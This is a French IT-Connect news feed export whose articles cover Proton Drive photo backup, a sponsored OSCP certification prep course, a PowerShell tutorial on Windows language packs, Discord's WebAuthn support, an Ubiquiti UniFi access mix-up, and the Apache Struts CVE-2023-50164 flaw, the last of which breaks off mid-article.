<p>Vous pouvez utiliser l'application Proton Drive pour gérer les photos de votre smartphone<strong>, car l'application intègre des fonctions de gestion, avec notamment une vue en grille.</strong> Vous avez aussi la possibilité de conserver vos photos en local sur votre appareil grâce à <strong>la fonction d'accès hors ligne</strong>, ce qui sera utile pour ceux qui habitent dans des zones où la connexion Internet est limitée.</p>



<p><strong>Avec l'offre gratuite de Proton Drive, vous pouvez bénéficier de 1 Go de stockage dans le Cloud</strong>. Si vous avez besoin de plus d'espace de stockage, il y a différentes offres notamment <strong>Proton Unlimited à 9,99 euros par mois pour 500 Go de stockage</strong>, et qui donne accès à tous les autres services (Proton <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a>, Proton Pass, Proton Mail). Pour bénéficier uniquement de Proton Drive, sachez qu'il y a un abonnement à <strong>3,99 euros par mois </strong>pour 100 Go de stockage.</p>



<p>Pour en savoir plus, rendez-vous sur le <a href="https://proton.me/blog/fr/proton-drive-photo-backup-android" target="_blank" rel="noopener nofollow" title="">blog de Proton Drive</a>.</p><p>The post <a href="https://www.it-connect.fr/proton-drive-android-sauvegarde-automatique-photos-smartphone/">Proton Drive pour Android bénéficie de la sauvegarde automatique de vos photos dans le Cloud !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73429
title: Sécurité offensive : comment se préparer pour obtenir la certification OSCP ?
uri: Sécurité-offensive-comment-se-préparer-pour-obtenir-la-certificat
url: https://www.it-connect.fr/comment-obtenir-certification-oscp-pentesters/
content:
<p><strong>Vous envisagez de poursuivre une carrière dans la cybersécurité ou de renforcer vos compétences existantes ? Dans ce cas, vous pourriez être intéressé par la certification OSCP ! Mais, qu'est-ce que cette certification ? Qu'est-ce qu'elle va m'apporter ? Comment bien s'y préparer pour réussir ? </strong></p>



<p>De nombreuses questions peuvent se poser au sujet de l'OSCP, mais pas de panique ! Cet article a pour objectif de vous présenter la certification OSCP et de vous répondre à un ensemble de questions !</p>



<h2 class="wp-block-heading">Pourquoi travailler dans la cybersécurité ?</h2>



<p>La cybersécurité est un <strong>secteur porteur</strong>, les dépenses dans ce domaine augmentent chaque année dans le secteur privé et public. Par ailleurs, la situation internationale renforce ce besoin en compétences stratégiques (<strong>augmentation du nombre de cyberattaques</strong>, notamment depuis la guerre en Ukraine). </p>



<p>Le besoin en hacker éthique ne devrait pas s’estomper avec <strong>14% d’investissement supplémentaire attendu</strong> dans le monde en 2024 dans le secteur de la sécurité informatique. Devenir pentester, c’est l’assurance d’obtenir un job bien rémunéré (entre 90 k€ et 200 k€ de facturation à l’année en tant que freelance) tout en<strong> travaillant de n’importe où sur le globe</strong>.</p>



<h2 class="wp-block-heading" id="0433de3e-c5a3-4bcf-a2f7-359c95b20f85">Qu'est-ce que l'OSCP ?</h2>



<p>L'<strong>OSCP</strong>, pour <em><strong>O</strong>ffensive <strong>S</strong>ecurity <strong>C</strong>ertified <strong>P</strong>rofessional</em>, est une <strong>certification professionnelle</strong> conçue pour prouver<strong> vos compétences pratiques </strong>en matière de <strong>pentests </strong>(tests d'intrusion). La certification OSCP est également appelée <strong>PEN-200</strong>. Vous l'aurez compris, il s'agit d'<strong>une certification orientée sécurité offensive</strong>.</p>



<p>Derrière l'OSCP, ce n'est pas n'importe quelle entreprise : c'est l'Offensive Security (dit OffSec). L'Offensive Security est une société américaine connue mondialement pour sa certification OSCP, mais aussi et surtout, car elle a créé une distribution Linux très populaire auprès des professionnels de la cybersécurité :<strong> Kali Linux</strong>.</p>



<p>Contrairement à d'autres certifications de cybersécurité qui se focalisent sur des connaissances théoriques, l'OSCP évalue votre capacité à identifier les vulnérabilités, à compromettre les applications et systèmes et à rédiger des rapports d'audit. Elle <strong>met en pratique de nombreuses techniques d'attaques, méthodes et outils</strong> : collecte d'informations, élévation de privilèges, compromission de comptes, mouvement latéral en environnement Active Directory, injection SQL, bypass d'antivirus, utilisation de Metasploit, etc... En effet, à titre de comparaison, <strong>la certification CEH a une approche plus théorique alors que l'OSCP est axé sur la pratique.</strong></p>



<p>La <strong>certification OSCP est mondialement reconnue</strong> et elle a une véritable valeur sur le marché de l'emploi. Autrement dit, la certification OSCP est l'occasion de se démarquer en tant que professionnel spécialiste du pentest et de la sécurité offensive.</p>



<h2 class="wp-block-heading">Comment se déroule l'examen OSCP ?</h2>



<p>L'<strong>OSCP </strong>est une <strong>certification difficile et exigeante </strong>qui n'est pas à la portée de tout le monde. Ceci est d'autant plus vrai que <strong>l'examen final est éprouvant </strong>: l'épreuve pratique lors de laquelle vous devez<strong> hacker plusieurs machines</strong> dure <strong>23 heures et 45 minutes</strong> (<em>un pentest en conditions réelles !</em>), et les participants ont ensuite 24 heures pour envoyer leur rapport d'audit à l'OffSec. Ceci signifie que vous devez apprendre à documenter correctement vos découvertes et les techniques utilisées tout au long de l'examen.</p>



<p>Vous l'aurez compris, ce n'est pas un simple QCM qui permettra de décrocher le <strong>Graal</strong>. Pour obtenir la certification OSCP, vous devez obtenir un minimum de 70 points sur un total de 100 points.</p>



<p>En résumé, attendez-vous à deux jours intenses ! Le déroulement de l'examen OSCP est détaillé sur <a href="https://help.offsec.com/hc/en-us/articles/360040165632" target="_blank" rel="noopener nofollow" title="">cette page</a> du site officiel.</p>



<h2 class="wp-block-heading">Se former pour préparer la certification OSCP</h2>



<p>La bonne nouvelle, c'est que vous pouvez être accompagné pour vous préparer à l'obtention de <strong>cette certification</strong>. Chez <a href="https://www.ambient-it.net/bootcamp-oscp-cpf/" title="">Ambient IT</a>, <strong>un bootcamp</strong> est là pour <strong>vous préparer à l'OSCP </strong>grâce à des sessions de 3 heures 30 dispensées <strong>chaque lundi pendant 10 semaines, en classe virtuelle</strong>.</p>



<p>Obtenir l'OSCP représente un défi de taille. En plus des sessions de formation, <strong>vous devrez investir 1 à 2 heures supplémentaires par jour</strong> (weekend inclus !), et sans un accompagnement adéquat, se préparer seul peut devenir un véritable calvaire. C'est ici qu'intervient Ambient IT : pour vous fournir la <strong>motivation nécessaire et vous révélez les stratégies essentielles pour réussir</strong>.</p>



<p>Sachez que la formation est dispensée en <strong>français</strong> par un<strong> formateur certifié OSCP</strong>. Elle intègre un <strong>passage à l'examen OSCP</strong>, ainsi qu'un accès au contenu officiel de l'OffSec (des heures de formations vidéos !), un accès à un "lab" personnel, un <strong>livre de formation de plusieurs centaines de pages</strong> (au format PDF) ainsi qu'un accès à un forum d'entraide. </p>



<p>Avant d'envisager une inscription à ce bootcamp, sachez qu'il est nécessaire d'avoir des connaissances solides en réseau, en administration Linux et Windows, mais aussi à voir quelques bases en script Bash et Python et un niveau technique en anglais.</p>



<p><strong>Pour le financement, vous pouvez utiliser votre CPF (<em>Compte personnel de formation</em>)</strong>, comme l'indique <a href="https://www.moncompteformation.gouv.fr/espace-prive/html/#/formation/recherche/81227101300045_oscp/81227101300045_oscp?contexteFormation=ACTIVITE_PROFESSIONNELLE" target="_blank" rel="noopener nofollow" title="">cette page</a>. De plus, pour les salariés du secteur informatique (convention Syntec), l’OPCO Atlas abonde jusqu'à 4 000€ le solde CPF.</p>



<p>Le prochain bootcamp OSCP se déroulera <strong>du 15 janvier au 25 mars 2024</strong>. Pour vous inscrire, vous pouvez utiliser les liens suivants :</p>



<ul>
<li><a href="https://www.ambient-it.net/bootcamp-oscp-cpf/" target="_blank" rel="noopener" title="">S'inscrire en tant que particulier</a></li>



<li><a href="https://www.ambient-it.net/formation/oscp/" target="_blank" rel="noopener" title="">S'inscrire en tant qu'entreprise</a></li>
</ul>



<p><strong>Les inscriptions sont ouvertes jusqu’au 27 décembre 2023.</strong></p>



<p>Prêt à relever le défi et à décrocher l'une des certifications les plus valorisantes pour les pentesters ?</p>



<p><em>Article sponsorisé.</em></p><p>The post <a href="https://www.it-connect.fr/comment-obtenir-certification-oscp-pentesters/">Sécurité offensive : comment se préparer pour obtenir la certification OSCP ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72814
title: Windows – Comment installer un pack de langue avec PowerShell ?
uri: Windows-Comment-installer-un-pack-de-langue-avec-PowerShell
url: https://www.it-connect.fr/windows-comment-installer-un-pack-de-langue-avec-powershell/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à installer un pack de langue sur Windows à l'aide de la console PowerShell, ce qui peut s'avérer utile pour configurer en français une machine installée dans une autre langue (anglais, ou autre).</strong></p>



<p>Au-delà de changer la langue, nous verrons comment configurer d'autres paramètres régionaux, notamment le pays, car il y a un ensemble de cmdlets PowerShell prévu à cet effet. Par exemple, ceci peut-être utile sur une VM installée sur Azure car elles sont en anglais par défaut.</p>



<p>Une machine sous Windows 11 23H2 est installée pour cette démonstration, mais cette méthode fonctionne aussi sur Windows 10 et les autres versions de Windows 11. Actuellement, la machine est en anglais :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="275" src="media/d22743ec.Windows-11-Langue-anglais.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais.jpg" alt="Windows 11 - Langue anglais" class="wp-image-72825" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais-550x189.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais-150x52.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais-768x264.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Windows-11-Langue-anglais-50x17.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">II. Installer un pack de langue avec PowerShell</h2>



<p>Sur la machine, nous allons devoir une console <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a> en tant qu'administrateur afin de pouvoir installer un nouveau pack de langue. Le pack de langue en question sera téléchargé directement à partir d'Internet (sinon nous serions obligés d'utiliser DISM à la place de PowerShell).</p>



<p>Pour obtenir la langue actuelle en PowerShell, exécutez cette commande :</p>



<pre class="wp-block-code"><code>Get-InstalledLanguage</code></pre>



<p>Ensuite, pour installer une nouvelle langue, nous allons utiliser le cmdlet "Install-Language" et préciser la langue cible. Ici, nous allons installer la langue française donc la valeur sera "<strong>fr-FR</strong>". Pour le français belge, utilisez "fr-BE". Pour le français canadien, utilisez "<strong>fr-CA</strong>".</p>



<pre class="wp-block-code"><code>Install-Language -Language fr-FR</code></pre>



<p>Patientez pendant l'installation du pack de langue, ceci peut prendre 5 ou 10 minutes facilement...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="506" src="media/d16238dd.Installer-pack-de-langue-FR-avec-PowerShell-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows.png" alt="Installer pack de langue FR avec PowerShell - Windows" class="wp-image-72826" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows-550x348.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows-150x95.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows-768x486.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installer-pack-de-langue-FR-avec-PowerShell-Windows-50x32.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, nous devons définir le français comme langue préférée pour l'interface graphique de Windows. Nous pouvons obtenir la valeur actuelle via cette commande :</p>



<pre class="wp-block-code"><code>Get-SystemPreferredUILanguage</code></pre>



<p>Puis, définir le français de cette façon :</p>



<pre class="wp-block-code"><code>Set-SystemPreferredUILanguage -Language fr-FR</code></pre>



<p>Ce qui donne :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="100" src="media/809fff2f.Set-SystemPreferredUILanguage-PowerShell.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell.png" alt="Set-SystemPreferredUILanguage - PowerShell" class="wp-image-72830" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell-550x69.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell-150x19.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell-768x96.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Set-SystemPreferredUILanguage-PowerShell-50x6.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois que c'est fait, il convient de redémarrer l'ordinateur :</p>



<pre class="wp-block-code"><code>Restart-Computer</code></pre>



<p>Voilà, au redémarrage, l'interface de Windows doit être en français !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="275" src="media/3d9d34f1.Configurer-Windows-en-francais-avec-PowerShell.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell.jpg" alt="Configurer Windows en français avec PowerShell" class="wp-image-72831" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell-550x189.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell-150x52.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell-768x264.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-Windows-en-francais-avec-PowerShell-50x17.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>On pourrait s'arrêter-là, mais il y a d'autres paramètres du système que l'on peut avoir besoin d'ajuster...</p>



<h2 class="wp-block-heading">III. Configurer le clavier en AZERTY avec PowerShell</h2>



<p>Suite au changement de langue, le clavier est toujours en anglais, et donc en QWERTY. Pour le configurer en AZERTY, d'autres commandes PowerShell sont à utiliser. En l'occurrence, le cmdlet <strong>Set-WinUserLanguageList</strong>.</p>



<p>Voici la commande à exécuter pour configurer le clavier en AZERTY :</p>



<pre class="wp-block-code"><code>Set-WinUserLanguageList -LanguageList fr-FR</code></pre>



<p>Ceci ne supprimera pas le clavier QWERTY, mais le clavier AZERTY sera configuré en tant que disposition par défaut. Pour afficher la valeur actuelle, vous pouvez utiliser cette commande :</p>



<pre class="wp-block-code"><code>Get-WinUserLanguageList</code></pre>



<h2 class="wp-block-heading">IV. Windows : configurer un pays avec PowerShell</h2>



<p>Pour finir, nous allons voir comment changer le pays de Windows pour choisir la France (ou autre chose) à la place de "Etats-Unis". En fait, je fais référence à ce paramètre :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="176" src="media/d44e1225.Configurer-le-pays-Windows-avec-PowerShell.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell.jpg" alt="Configurer le pays Windows avec PowerShell" class="wp-image-72833" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell-550x121.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell-150x33.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell-768x169.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Configurer-le-pays-Windows-avec-PowerShell-50x11.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Là encore, nous allons utiliser PowerShell. Pour obtenir la valeur actuelle, nous pouvons utiliser cette commande :</p>



<pre class="wp-block-code"><code>Get-WinHomeLocation</code></pre>



<p>Ensuite, nous devons récupérer <strong>un code géographique </strong>correspondant au pays que nous souhaitons définir dans Windows. Autrement dit, nous ne pourrons pas utiliser "fr-FR" ou une valeur de ce style. <strong>Pour la France, le code est "84". </strong></p>



<p>La liste de tous les codes est disponible sur cette page :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/intl/table-of-geographical-locations?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Liste des codes géographiques</a></li>
</ul>



<p>Ainsi, nous pouvons choisir la France grâce à cette commande :</p>



<pre class="wp-block-code"><code>Set-WinHomeLocation -GeoId 84</code></pre>



<p>Après avoir effectué toutes ces modifications, il est recommandé de redémarrer l'ordinateur.</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>Grâce à ce tutoriel, vous êtes en mesure d'<strong>installer un nouveau pack de langue en PowerShell</strong>, mais également de configurer les principaux paramètres régionaux d'une machine Windows 10 ou Windows 11.</p><p>The post <a href="https://www.it-connect.fr/windows-comment-installer-un-pack-de-langue-avec-powershell/">Windows – Comment installer un pack de langue avec PowerShell ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73622
title: Discord ajoute la prise en charge des clés de sécurité pour tous les utilisateurs !
uri: Discord-ajoute-la-prise-en-charge-des-clés-de-sécurité-pour-tous-le
url:
https://www.it-connect.fr/mfa-discord-ajoute-la-prise-en-charge-des-cles-de-securite-pour-tous-les-utilisateurs/

content:
<p><strong>Tous les utilisateurs de Discord peuvent désormais bénéficier d'une nouveauté permettant de renforcer l'accès à leur compte : la prise en charge de l'authentification WebAuthn, ce qui ajoute le support des clés de sécurité. Voici ce qu'il faut savoir !</strong></p>



<p>Jusqu'ici, Discord proposait le MFA "traditionnel" à ses 500 millions d'utilisateurs, à savoir l'utilisation d'un mot de passe à usage unique basé sur le temps (TOTP), ou des SMS avec un code de vérification à 6 chiffres. </p>



<p>Désormais,<strong> l'authentification WebAuthn est disponible pour tous les utilisateurs</strong>, ce qui apporte la prise en charge <strong>des clés de sécurité pour l'authentification MFA</strong>. Une bonne nouvelle pour ceux qui ont une <strong>Yubikey </strong>ou une clé similaire ! Au-delà des clés de sécurité physiques, vous pouvez également utiliser <strong>Windows Hello</strong>, ainsi que des systèmes biométriques comme <strong>Apple Face ID et Touch ID</strong>. Autrement dit, ceci permet d'avoir recourt à un appareil physique pour le second facteur d'authentification (clé de sécurité, ordinateur, smartphone, tablette).</p>



<p>Cette nouveauté était attendue, car déjà au début du mois d'août, Discord avait annoncé vouloir proposer cette méthode d'authentification à tous ses salariés. <strong>Après les salariés, c'est au tour des utilisateurs de pouvoir en bénéficier.</strong> </p>



<p>Une excellente nouvelle pour renforcer l'accès aux comptes Discord puisque <strong>cette méthode est plus sûre</strong>. Ceci va d'avantage permettre de <strong>lutter contre le vol de données d'identification</strong>, et donc le vol de comptes Discord (à conditions que les utilisateurs fassent l'effort de sécuriser leur compte). </p>



<p>"<em>WebAuthn s'appuie sur la cryptographie à clé publique pour générer une paire de clés unique par paire appareil/site. La clé privée est stockée de façon sécurisée sur votre appareil ; le site Web reçoit la clé publique, utilisée pour valider le handshake lancé lors de la connexion.</em>", peut-on lire sur le <a href="https://discord.com/blog/how-discord-rolled-out-yubikeys-for-all-employees" target="_blank" rel="noopener nofollow" title="">blog de Discord</a>. En principe, les clés d'authentification impliquées dans le processus WebAuthn ne sont pas vulnérables au phishing car il n'y a que le domaine "discord.com" qui peut demander l'accès à la clé.</p>



<h2 class="wp-block-heading">Comment ajouter une clé de sécurité à son compte Discord ?</h2>



<p>Au sein de l'application Discord, vous devez accéder aux paramètres, puis cliquer sur "<strong>Mon compte</strong>". Sur cette page, vous pourrez constater la présence d'un nouveau bouton intitulé "<strong>Enregistre une clé de sécurité</strong>". Il suffit de cliquer dessus et de vous laisser guider !</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="429" src="media/7cea052e.Comment-ajouter-une-cle-de-securite-a-son-compte-Discord.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord.png" alt="Comment ajouter une clé de sécurité à son compte Discord" class="wp-image-73623" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord-550x295.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord-768x412.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comment-ajouter-une-cle-de-securite-a-son-compte-Discord-50x27.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour en savoir plus sur ce changement, notamment sur les détails techniques, vous pouvez consulter <a href="https://discord.com/blog/how-discord-modernized-mfa-with-webauthn" target="_blank" rel="noopener nofollow" title="">cette page</a> du blog Discord.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/discord-adds-security-key-support-for-all-users-to-enhance-security/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/mfa-discord-ajoute-la-prise-en-charge-des-cles-de-securite-pour-tous-les-utilisateurs/">Discord ajoute la prise en charge des clés de sécurité pour tous les utilisateurs !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73634
title: Des utilisateurs d’Ubiquiti ont pu accéder aux routeurs et caméras d’autres utilisateurs !
uri: Des-utilisateurs-d-Ubiquiti-ont-pu-accéder-aux-routeurs-et-caméras
url:
https://www.it-connect.fr/des-utilisateurs-dubiquiti-ont-pu-acceder-aux-routeurs-et-cameras-dautres-utilisateurs/

content:
<p><strong>Panique chez Ubiquiti : certains utilisateurs indiquent qu'ils ont accès aux appareils réseau d'autres personnes par l'intermédiaire des services Cloud UniFi. Il peut s'agit de routeurs, de points d'accès Wi-Fi mais également de caméras de surveillance. Que se passe-t-il ?</strong></p>



<p>Pour rappel, Ubiquiti est une marque d'équipements réseau populaire qui met notamment à disposition de ses utilisateurs un portail de gestion Cloud nommé UniFi permettant d'administrer l'ensemble de son réseau et de ses équipements.</p>



<p><strong>Mercredi 13 décembre 2023</strong>, de premiers signalements d'utilisateurs ont commencé à voir le jour sur Internet, que ce soit sur <a href="https://www.reddit.com/r/Ubiquiti/comments/18hgpw1/security_problem/" target="_blank" rel="noopener nofollow" title="">Reddit </a>ou sur le <a href="https://community.ui.com/questions/Security-Issue-Cloud-Site-Manager-presented-me-your-consoles-not-mine/376ec514-572d-476d-b089-030c4313888c" target="_blank" rel="noopener nofollow" title="">forum officiel d'Ubiquiti</a>. Un utilisateur affirme qu'<strong>il a reçu une notification de la part d'une caméra</strong> suite à la détection d'un mouvement, sauf qu'il affirme que <strong>cette caméra ne lui appartient pas</strong>. Forcément, ceci interroge (et inquiète).</p>



<p>Un autre utilisateur affirme qu'<strong>à partir de son compte UniFi</strong>, il avait <strong>accès à un ensemble de 88 appareils</strong>, comme s'il s'agissait des siens ! "<em>Je me suis récemment connecté à https://unifi.ui.com/consoles pour accéder à mes consoles, comme je le fais tous les jours. Cependant, cette fois-ci, on m'a présenté 88 consoles provenant d'un autre compte. J'avais un accès complet à ces consoles, comme je le ferais avec les miennes.</em>", témoigne l'utilisateur. D'autres utilisateurs affirment qu'ils ont eu <strong>un accès complet à l'UDM Pro d'un autre utilisateur</strong>, permettant de <strong>modifier la configuration du réseau </strong>(création d'un nouveau réseau WiFi, par exemple).</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="449" src="media/c7dc979a.UniFi-acces-equipements-Ubiquiti-autres-utilisateurs.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs.jpg" alt="" class="wp-image-73636" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs-768x431.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/UniFi-acces-equipements-Ubiquiti-autres-utilisateurs-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : community.ui.com</figcaption></figure>



<h2 class="wp-block-heading">D'où vient le problème ?</h2>



<p>Suite à ces nombreux signalements, Ubiquiti a mené une enquête en interne pour identifier la cause du problème. Il s'avère que <strong>ce problème est lié à une mauvaise configuration appliquée lors d'une mise à niveau de l'infrastructure Cloud d'UniFi</strong>.</p>



<p>D'ailleurs, Ubiquiti précise qu'<strong>un premier groupe de 1 216 comptes a été associé avec un second groupe de 1 177 comptes. Résultat, cette mauvaise configuration a permis</strong> aux comptes du deuxième groupe de recevoir les notifications de comptes du premier groupe, mais aussi d'avoir accès aux équipements.</p>



<p>Ubiquiti indique que <strong>ce problème s'est produit le 13 décembre, entre 6:47 et 15:45 (UTC).</strong> Désormais, ce bug a été corrigé par les équipes techniques d'Ubiquiti. Les utilisateurs impactés seront notifiés par e-mail dans les prochains jours.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/ubiquiti-users-report-having-access-to-others-unifi-routers-cameras/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/des-utilisateurs-dubiquiti-ont-pu-acceder-aux-routeurs-et-cameras-dautres-utilisateurs/">Des utilisateurs d’Ubiquiti ont pu accéder aux routeurs et caméras d’autres utilisateurs !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73642
title: Les cybercriminels exploitent activement la faille critique découverte dans Apache Struts !
uri: Les-cybercriminels-exploitent-activement-la-faille-critique-découvert
url:
https://www.it-connect.fr/les-cybercriminels-exploitent-activement-la-faille-critique-decouverte-dans-apache-struts/

content:
<p><strong>Apache Struts est actuellement une cible privilégiée pour les cybercriminels suite à la découverte d'une faille de sécurité critique permettant l'exécution de code à distance ! Voici ce qu'il faut savoir.</strong></p>



<h2 class="wp-block-heading">Au fait, c'est quoi Apache Struts ?</h2>



<p>Apache Struts est un framework libre que les développeurs peuvent utiliser pour <strong>développer des applications web basées sur Java EE</strong>. En fait, Apache Struts est susceptible d'être utilisé par certaines de vos applications, sans que vous le sachiez forcément.</p>



<h2 class="wp-block-heading">La faille de sécurité CVE-2023-50164</h2>



<p>Le 4 décembre 2023, un <a href="https://cwiki.apache.org/confluence/display/WW/s2-066" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> a été mis en ligne au sujet de la faille de sécurité critique<strong> CVE-2023-50164 </strong>présente dans Apache Struts. "<em>Cette vulnérabilité permet à un attaquant non authentifié de téléverser une porte dérobée sur un serveur vulnérable, et ainsi exécuter du code arbitraire à distance.</em>", peut-on lire sur le <a href="https://www.cert.ssi.gouv.fr/alerte/CERTFR-2023-ALE-013/" target="_blank" rel="noopener nofollow" title="">site du CERT-FR</a> qui évoque cette vulnérabilité de type "<em>path transversal</em>".</p>



<p>Depuis quelques jours, <strong>un code d'exploitation publique est disponible</strong> (<a href="https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE" target="_blank" rel="noopener nofollow" title="">notamment ici</a>) et les cybercriminels l'utilisent pour effectuer des tentatives de compromissions de serveur. Malgré tout, la vulnérabilité ne semble pas aussi simple à exploiter que Log4Shell, par exemple.</p>



<p>"<em>Mes applications sont-elles vulnérables ?</em>", c'est la question que tout le monde se pose. Il n'est pas facile d'y répondre. Actuellement, nous savons que <strong>Cisco est en train d'analyser certains de ses produits afin de déterminer s'ils sont affectés ou non</strong>. Un <a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-struts-C2kCMkmT" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a>, avec la liste des produits potentiellement vulnérables, a été publié par l'entreprise américaine.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>La vulnérabilité affecte les versions suivantes d'Apache Struts :</p>



<ul>
<li>2.0.0 à 2.5.32</li>



<li>6.0.0 à 6.3.0.1</li>



<li>2.0.0 à 2.3.37 (versions qui ne sont plus supportées !)</li>
</ul>



